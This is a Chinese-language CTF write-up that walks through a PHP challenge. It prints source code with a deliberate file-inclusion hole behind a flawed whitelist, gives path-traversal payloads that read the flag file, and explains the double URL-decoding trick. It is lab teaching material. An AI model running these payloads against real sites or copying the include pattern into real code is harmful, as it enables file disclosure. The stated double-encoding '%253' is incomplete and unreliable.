正式写ctf第一天,第一道题打开就是这张笑脸。
检查源代码,发现注释中有source.php的提示
查看source.php文件,是php源代码
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
总结一下代码审计的要点:
要满足参数不为空且参数是字符串且参数通过checkFile函数的检查
checkFile函数中有三个if条件,其中一个if通过就可以返回true
要构造的payload中肯定要包含flag文件名,因此不可能通过第一个if。第二个if要求截取从参数的开头到参数第一次出现?的位置的字符串,并且能够通过白名单。第三个if还要求对url进行解码,解码并截取字符串后要通过白名单
查看白名单中的hint.php文件,构造payload为?file=hint.php
提示flag在ffffllllaaaagggg文件中
接下来我们构造包含ffffllllaaaagggg文件的payload。
linux中目录可以携带?,我们可以通过第二个if条件,我们以hint.php为目录,寻找ffffllllaaaagggg的路径,依次添加../,
payload构造为?file=hint.php?/../../../../ffffllllaaaagggg,实际上ffffllllaaaagggg就提示我们要穿透四次
windows中目录不可以携带?,所以我们绕过第三个if条件,对?进行两次url编码为%253,payload构造为?file=hint.php%253/../../../../ffffllllaaaagggg。
就可以看到flag了。
flag{c2c61acd-93aa-4224-ab71-86d30917f406}
涉及知识点:
mb_substr() 函数返回字符串的一部分,之前我们学过 substr() 函数,它只针对英文字符,如果要分割的中文文字则需要使用 mb_substr()。
mb_strpos —查找字符串在另一个字符串中首次出现的位置。
$page . '?'意味着会自动在我们上传的参数后面加一个?,这两个函数一起的作用是在字符串中截取从第一个位置开始到整个字符串中第一次出现?的位置的字符串。
为什么要对url二次编码?
应用服务器会对传进来的url进行一次url解码,所以如果代码中有urldecode()函数,便会对url进行二次解码,因此我们输入url时要进行二次编码而不是一次编码。